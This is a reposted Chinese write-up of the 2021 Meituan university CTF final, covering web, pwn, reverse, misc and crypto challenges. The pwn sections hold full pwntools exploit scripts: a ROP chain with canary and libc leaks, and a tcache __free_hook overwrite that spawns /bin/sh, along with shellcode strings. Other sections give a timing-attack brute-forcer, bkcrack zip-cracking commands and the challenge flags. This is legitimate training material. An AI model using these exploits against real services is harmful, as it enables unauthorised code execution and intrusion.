2021年第四届美团网络安全高校挑战赛决赛writeup(转）

秒速五厘米 2024-04-07 10:45 70阅读 0赞

## Web ##

### HackMe ###

开局一个文件上传，utf-16的编码绕过，然后根据提示爆破文件名 爆破最后四位 0000 - 9999， 就可以访问到了，注意是12小时。

## Pwn ##

### babyrop ###

DEBUG

# _*_ coding:utf-8 _*_
    from pwn import *
    import numpy as np
    context.log_level = 'debug'
    #context.terminal=['tmux', 'splitw', '-h']
    prog = './babyrop'
    #elf = ELF(prog)
    p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
    libc = ELF("./libc-2.27.so")
    #p = remote("123.57.207.81",44823)
    def debug(addr,PIE=False): 
        debug_str = ""
        if PIE:
            text_base = int(os.popen("pmap {}| awk '{
         {print $1}}'".format(p.pid)).readlines()[1], 16) 
            for i in addr:
                debug_str+='b *{}\n'.format(hex(text_base+i))
            gdb.attach(p,debug_str) 
        else:
            for i in addr:
                debug_str+='b *{}\n'.format(hex(i))
            gdb.attach(p,debug_str) 
    
    def dbg():
        gdb.attach(p)
    #-----------------------------------------------------------------------------------------
    s       = lambda data               :p.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
    sl      = lambda data               :p.sendline(str(data)) 
    sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :p.recv(numb)
    ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
    it      = lambda                    :p.interactive()
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    bp      = lambda bkp                :pdbg.bp(bkp)
    li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))
    
    
    
    def dbgc(addr):
        gdb.attach(p,"b*" + hex(addr) +"\n c")
    
    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
    
    sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
    #https://www.exploit-db.com/shellcodes
    #-----------------------------------------------------------------------------------------sa("name? \n",'a'*0x19)
    debug([0x400752])
    main=0x40075b
    val=0x400717
    read_plt=0x400600
    bss=0x601010
    puts_got=0x600fc0
    puts_plt=0x4005d0
    printf_plt=0x4005f0
    sa("name? \n",'a'*0x19)
    ru('a'*0x19)
    rdi=0x400913
    canary=(uu64(ru(",")[0:7]))<<8
    lg('canary',canary)
    sla('his challenge\n',str(0x4009ae))
    pay=(p64(0x601010+8)*3)
    sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x40075c))
    sleep(0.5)
    #pay=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(val)+'\n'
    #s(pay)
    sa("name? \n",p64(rdi)+p64(puts_plt)+p64(0x40075b)+'\n')
    sla('his challenge\n',str(0x4009ae))
    pay=p64(puts_plt)+p64(0x400717)+'a'*8
    sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x40075c))
    
    sa("name? \n",p64(rdi)+p64(0x600fc0)+p64(0x000000000040090c)+'\n')
    sla('his challenge\n',str(0x4009ae))
    pay=p64(puts_plt)+p64(0x400717)+'a'*8
    sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x0000400911))
    libc_base=uu64(ru("\x7f",drop=False)[-6:])-(0x7f23ededeaa0-0x7f23ede5e000)
    lg("libc_base",libc_base)
    
    
    
    
    
    sa("name? \n",p64(rdi)+p64(libc.search("/bin/sh").next()+libc_base)+p64(libc_base+libc.sym['system'])+'\n')
    sla('his challenge\n',str(0x4009ae))
    pay=p64(puts_plt)+p64(0x400717)+'a'*8
    sa("message\n",pay+p64(canary)+p64(bss+8)+p64(0x0000000000400911))
    lg("libc_base",libc_base)
    
    it()

### bookshop ###

UAF fastbin+tcache

# _*_ coding:utf-8 _*_
    from pwn import *
    context.log_level = 'debug'
    prog = './bookshop'
    #elf = ELF(prog)
    p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
    libc = ELF("./libc-2.31.so")
    #p = remote("123.57.132.168",30042)
    def debug(addr,PIE=True): 
        debug_str = ""
        if PIE:
            text_base = int(os.popen("pmap {}| awk '{
         {print $1}}'".format(p.pid)).readlines()[1], 16) 
            for i in addr:
                debug_str+='b *{}\n'.format(hex(text_base+i))
            gdb.attach(p,debug_str) 
        else:
            for i in addr:
                debug_str+='b *{}\n'.format(hex(i))
            gdb.attach(p,debug_str) 
    
    def dbg():
        gdb.attach(p)
    #-----------------------------------------------------------------------------------------
    s       = lambda data               :p.send(data)       #in case that data is an int
    sa      = lambda delim,data         :p.sendafter(delim, data)
    sl      = lambda data               :p.sendline(data)
    sla     = lambda delim,data         :p.sendlineafter(delim, data) 
    r       = lambda numb=4096          :p.recv(numb)
    ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
    it      = lambda                    :p.interactive()
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    bp      = lambda bkp                :pdbg.bp(bkp)
    li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))
    
    
    
    def dbgc(addr):
        gdb.attach(p,"b*" + hex(addr) +"\n c")
    
    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
    
    sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    sh="\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05"
    #https://www.exploit-db.com/shellcodes
    #-----------------------------------------------------------------------------------------
    def choice(idx):
        sla(">> ",str(idx))
    
    def add(con):
        choice(1)
        sla("> ",con)
    
    def delete(idx):
        choice(2)
        sla("bag?",str(idx))
    
    def show(idx):
        choice(3)
        sla("read?",str(idx))
    
    def exp():
        sla("number?",str(0x68))
        for i in range(10):
            add(6*(p64(0)+p64(0x71)))
        add(p64(0)*4+(p64(0x421)+p64(0x41)))
        for i in range(7):
            delete(i)
        delete(8)
        show(1)
        ru("Content: ")
        heap = uu64(ru('\n')[-6:])
        lg('heap',heap)
        for i in range(7):
            add(6*(p64(0)+p64(0x71)))
        delete(8)
        add(p64(heap+0x40))
        add(p64(0))
        add(p64(0)*3+p64(0x421))
        lg('heap',heap+0x40)
        #dbg()
        delete(1)
        show(1)
        libc_base=uu64(ru("\x7f",drop=False)[-6:])-(0x7f3f97308be0-0x7f3f9711d000)
        lg('libc',libc_base)
        fh = libc_base + libc.sym['__free_hook']
        sys = libc_base + libc.sym['system']
        delete(2)
        delete(20)
        delete(0)
        add(p64(fh)*12)
        add('/bin/sh\x00')
        add(p64(sys))
        delete(22)
        it()
    if __name__ == '__main__':
        exp()

## Re ##

### Random ###

直接调试发现key不变

q=[0x3E, 0xCD, 0xAA, 0x8E, 0x96, 0x1F, 0x89, 0xCD, 0xDB, 0xF1,
      0x70, 0xF2, 0xA9, 0x9C, 0xC2, 0x8B, 0xF2, 0xFE, 0xAD, 0x8B,
      0x58, 0x7C, 0x2F, 0x03, 0x4A, 0x65, 0x31, 0x89, 0x76, 0x57,
      0x88, 0xDF, 0xB8, 0xE9, 0x01, 0xE9, 0xDE, 0xE5, 0x86, 0x68,
      0x8F, 0x24, 0xD3, 0x5A]
    k=[0x58,0xa1,0xcb,0xe9,0xed,0x2c,0xec,0xfb,0xe9,0xc4,0x16,0x97,0x99,0xb1,0xa4,0xe9,0xc3,0xc6,0x80,0xbf,0x3e,0x44,0x18,0x2e,0x73,0x56,0x52,0xb8,0x5b,0x66,0xed,0xbc,0x8a,0xd8,0x36,0x8f,0xe6,0xd3,0xb1,0x51,0xb9,0x59,0xd3,0x5a]
    f=''
    for i in range(len(k)):
        f+=chr(q[i]^k[i])
    print f
    flag{
        3e625fe0-fb18-4f87-93c1-1ec217f86796}

### wow ###

upx -d脱壳

patch掉这一段

.text:00402352                 call    $+5
    .text:00402357                 add     [esp+4+var_4], 6
    .text:0040235B                 dec     eax
    .text:0040235C                 retf

int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int *v3; // esi
      int *v4; // ebp
      int v5; // ecx
      int v6; // ebp
      int v7; // esi
      int v8; // ecx
      int v9; // edi
      unsigned int i; // ebx
      unsigned int v11; // ecx
      unsigned int v12; // edx
      unsigned int v13; // ecx
      int *v15; // [esp+10h] [ebp-68h]
      int v16; // [esp+2Ch] [ebp-4Ch]
      int v17; // [esp+30h] [ebp-48h]
      int v18; // [esp+34h] [ebp-44h]
      char v19[24]; // [esp+38h] [ebp-40h] BYREF
      char v20[24]; // [esp+50h] [ebp-28h] BYREF
      int v21; // [esp+74h] [ebp-4h]
      int savedregs; // [esp+78h] [ebp+0h] BYREF
      v4 = &savedregs;
      sub_4024C0(v20);
      v21 = 0;
      sub_402740(&dword_42AFD0, v20);
      scanf(v19, &input);
      LOBYTE(v21) = 1;
      if ( strlen(v20) != 36 )
      {
        printf((int)&unk_42AE80, "wrong\n");
        v17 = 0;
        v16 = 0;
    LABEL_9:
        *((_BYTE *)v4 - 4) = 0;
        sub_402430(v4 - 16);
        *(v4 - 1) = -1;
        sub_402430(v4 - 10);
        return *(v4 - 19);
      }
      v18 = sub_402420(v20);
      v15 = v3;
      v5 = *(_DWORD *)(v18 + 34);
      v6 = 12;
      v7 = 0;
      do
      {
        v7 += 0x67452301;
        v8 = v5 - 1;
        v9 = v7 + 4;
        for ( i = 0; i < 8; ++i )
        {
          v11 = v8 + 2;
          v12 = (((v11 + 1) >> 3) + (v7 ^ (16 * (v11 + 1)))) ^ (((((v11 + 1) >> 3) + (v7 ^ (16 * (v11 + 1)))) ^ ((v11 + 1) >> 3))
                                                              + ((v11 >> 5) ^ (4 * v11)));
          *(_DWORD *)v12 += v12;
          v6 += 2;
          v9 += 4;
          v8 = *(_DWORD *)v12 + 1;
        }
        v13 = *(_DWORD *)v12 + 3;
        *(_DWORD *)(v7 + 32) += (((v13 + 1) >> 3) + (v7 ^ (16 * (v13 + 1)))) ^ (((((v13 + 1) >> 3) + (v7 ^ (16 * (v13 + 1)))) ^ ((v13 + 1) >> 3))
                                                                              + ((v13 >> 5) ^ (4 * v13)));
        v5 = *(_DWORD *)(v7 + 32);
        v6 += 2;
      }
      while ( v6 );
      v4 = v15;
      if ( sub_4029F0(v15 - 10, v15 - 16) )
      {
        printf((int)&unk_42AE80, "right\n");
        *(v15 - 19) = 0;
        goto LABEL_9;
      }
      printf((int)&unk_42AE80, "wrong\n");
      *((_BYTE *)v15 - 4) = 0;
      sub_402430(v15 - 16);
      *(v15 - 1) = -1;
      return sub_402430(v15 - 10);
    }

看出差不多是xxtea加密  
看汇编，找到key=\[0xEFCDAB89, 0x10325476, 0x98BADCFE, 0xC3D2E1F0\]

DELTA 0x67452301

密文

0xD8F758F5, 0x526849DB,0xE2D72563,0x485EEFAC,0x608F4BC6,0x5859F76A,0xB03565A3,0x3E4091C1,0xD3DB5B9A

网上找个脚本解密

#include <stdio.h>
    #include <stdint.h>
    
    #define DELTA 0x67452301
    #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
    
    void xxtea(uint32_t* v, int n, uint32_t* key)
    {
        uint32_t y, z, sum;
        unsigned p, rounds, e;
        if (n > 1)             // encrypt
        {
            rounds = 6 + 52/n;
            sum = 0;
            z = v[n-1];
            do
            {
                sum += DELTA;
                e = (sum >> 2) & 3;
                for (p=0; p<n-1; p++)
                {
                    y = v[p+1];
                    z = v[p] += MX;
                }
                y = v[0];
                z = v[n-1] += MX;
            }
            while (--rounds);
        }
        else if (n < -1)      // decrypt
        {
            n = -n;
            rounds = 12;
            sum = rounds * DELTA;
            y = v[0];
            do
            {
                e = (sum >> 2) & 3;
                for (p=n-1; p>0; p--)
                {
                    z = v[p-1];
                    y = v[p] -= MX;
                }
                z = v[n-1];
                y = v[0] -= MX;
                sum -= DELTA;
            }
            while (--rounds);
        }
    }
    // test
    int main()
    {
        // 两个32位无符号整数，即待加密的64bit明文数据
        uint32_t v[9] = {
        0xD8F758F5, 0x526849DB,0xE2D72563,0x485EEFAC,0x608F4BC6,0x5859F76A,0xB03565A3,0x3E4091C1,0xD3DB5B9A};
        // 四个32位无符号整数，即128bit的key
        uint32_t k[4]= {
        0xEFCDAB89, 0x10325476, 0x98BADCFE, 0xC3D2E1F0};
        //n的绝对值表示v的长度，取正表示加密，取负表示解密
        int n = 9;
        // printf("Data is : %x %x\n", v[0], v[1]);
        // xxtea(v, n, k);
        // printf("Encrypted data is : %x %x\n", v[0], v[1]);
        xxtea(v, -n, k);
        printf(" %s\n", v);
        return 0;
    }

flag{
         529e3d91db48e084f76fca97b94499}

## Misc ##

### Un(ix)Zip ###

用unzip解压得到信息：

extracting: ppp/1/15
     extracting: ppp/1/18
     extracting: ppp/1/26
     extracting: ppp/3/6
     extracting: ppp/9/36
     extracting: ppp/F/23
     extracting: ppp/G/14
     extracting: ppp/M/13
     extracting: ppp/R/31
     extracting: ppp/R/35
     extracting: ppp/V/19
     extracting: ppp/W/10
     extracting: ppp/X/17
     extracting: ppp/X/25
     extracting: ppp/X/8
     extracting: ppp/Z/1
     extracting: ppp/Z/5
     extracting: ppp/Z/9
     extracting: ppp/b/29
     extracting: ppp/c/33
     extracting: ppp/d/27
     extracting: ppp/e/21
     extracting: ppp/h/4
     extracting: ppp/j/12
     extracting: ppp/j/22
     extracting: ppp/j/34
     extracting: ppp/l/16
     extracting: ppp/l/32
     extracting: ppp/m/2
     extracting: ppp/m/30
     extracting: ppp/t/7
     extracting: ppp/u/20
     extracting: ppp/v/28
     extracting: ppp/w/24
     extracting: ppp/x/11
     extracting: ppp/x/3

按后面的位数将前面的字母和数字依次排列得到：

ZmxhZ3tXZWxjMG1lX1VuejFwX1dvbmRlcjR9

base64解码得到：

flag{Welc0me_Unz1p_Wonder4}

### 오징어 게임 ###

下载附件得到一个加密的压缩包文件，压缩包内有一个zip和一个jpg文件

[![823a1a57ae19117aa2084d8eebdc4a7b.png][]][823a1a57ae19117aa2084d8eebdc4a7b.png 1]

用7z打开，可以发现jpg用的是ZipCrypto Deflate压缩算法，而zip用的是ZipCrypto Store压缩算法，Store算法是可以进行明文攻击的

[![73a94a2f088468f227f27fce45cbd77e.png][]][73a94a2f088468f227f27fce45cbd77e.png 1]

利用bkcrack进行明文攻击，plain.txt内的数据为 flagornot.txt，因为压缩包的第30偏移为固定为压缩包内的文件名，而文件名在压缩包注释内可以得到

Violence does not solve the problem. What you want may be flagornot.txt

明文碰撞命令如下：

bkcrack.exe -C 123.zip -c flagornot.zip -p planit.txt -o 30 -x 0 504B0304

[![084f6a2ede148260284d17516cf74975.png][]][084f6a2ede148260284d17516cf74975.png 1]

得到key：

683a571e f954e70c 49da18ac

之后利用这个key即可解开压缩包

bkcrack -C 123.zip -c flagornot.zip -k 683a571e f954e70c 49da18ac -d result.zip

同理解出jpg图片，jpg图片需要用bkcrack自带的inflate.py工具解一下数据流

python inflate.py < result.jpg > out.jpg

解得：

[![31281961dfc5a1389f989bd94287df3b.png][]][31281961dfc5a1389f989bd94287df3b.png 1]

最后利用WaterMarkH即可解出盲水印

[![be1a8bad0f2d7c9bad0f6791709441f4.png][]][be1a8bad0f2d7c9bad0f6791709441f4.png 1]

放大一点

[![248069968453bb2c4aa19f2e0d686b26.png][]][248069968453bb2c4aa19f2e0d686b26.png 1]

解得flag：

flag{
         7bfbc17a-3520-0ed2-fd0e-e1eb47a94fae}

## Crypto ##

### Symbol ###

Latex语法：

$$\\forall\\uplus\\nu\_\\Lambda\\alpha T\\epsilon\\Xi\_M\\approx\\triangleleft\\hbar$$

flag\{fun\_LaTeX\_Math\}

fun\_LaTeX\_Math md5一下。

### Romeo's Encryption Machine ###

0x2000次aes.

测了一下大概0.10s左右得花掉。

明显timing attack.

不过得爆破这个密码 得慢慢来 emmm. 所以要 分多次去爆破。

按照table 丢个自动化脚本就行。

具体可以参照 n1ctf 的 n1ogin 的思想。

alphabat = string.ascii_uppercase + string.ascii_lowercase + string.digits + "~!@#$%^&*()_+|,."
    suffix = '........'
    passw = ''
    
    def fuck(passw,index):
        Tl = []
        for i in alphabat:
            tmp_passw = (passw+ i+suffix[index+1:])..encode()
            io.recv()
            stime = time.time()
            io.sendline(tmp_passw)
            io.recvuntil(b'password:')
            Tl.append(time.time() - stime)
        passw = passw + alphabat[Tl.index(max(Tl))]
        return passw
    
    password: `#G.5~1ss`

### hamburgerRSA ###

自己生成发现前19位和后19位会跟n的一样。

只要爆破1位就可以了 分解是2个素数就拿到p,q 然后走流程

low = str(n)[-19:]
    high = str(n)[:19]
    pq_prob = []
    
    for i in range(10):
            pq_prob.append(int(high + str(i) + low))
    
    for x in (pq_prob):
        f = factor(x)
        print(f)
        if (len(f) == 2 and f[0][0].nbits() == 64):
            p, q = f[0][0], f[1][0]
            break

from： [https://www.cnblogs.com/yesec/p/15689620.html][https_www.cnblogs.com_yesec_p_15689620.html]

[823a1a57ae19117aa2084d8eebdc4a7b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f94ad4c8f9c641c0aa9eb5f7f6619eab.png
[823a1a57ae19117aa2084d8eebdc4a7b.png 1]: https://img2020.cnblogs.com/blog/1212355/202112/1212355-20211214193228767-1135026293.png
[73a94a2f088468f227f27fce45cbd77e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9d4702a00845436084f4c65980115336.png
[73a94a2f088468f227f27fce45cbd77e.png 1]: https://img2020.cnblogs.com/blog/1212355/202112/1212355-20211214193228739-129892949.png
[084f6a2ede148260284d17516cf74975.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/e5184dc29ede4634bb6b8cd7aff4c22e.png
[084f6a2ede148260284d17516cf74975.png 1]: https://img2020.cnblogs.com/blog/1212355/202112/1212355-20211214193229952-586871236.png
[31281961dfc5a1389f989bd94287df3b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3f0efd381ce045689f56b89f0a1962a0.png
[31281961dfc5a1389f989bd94287df3b.png 1]: https://img2020.cnblogs.com/blog/1212355/202112/1212355-20211214193228890-347851215.jpg
[be1a8bad0f2d7c9bad0f6791709441f4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/42b0811257c049c5b26d6a866f67a8fe.png
[be1a8bad0f2d7c9bad0f6791709441f4.png 1]: https://img2020.cnblogs.com/blog/1212355/202112/1212355-20211214193230529-1642431265.png
[248069968453bb2c4aa19f2e0d686b26.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9d9aba0ddfc0453ea154fa12773a1859.png
[248069968453bb2c4aa19f2e0d686b26.png 1]: https://img2020.cnblogs.com/blog/1212355/202112/1212355-20211214193230258-1218027254.png
[https_www.cnblogs.com_yesec_p_15689620.html]: https://www.cnblogs.com/yesec/p/15689620.html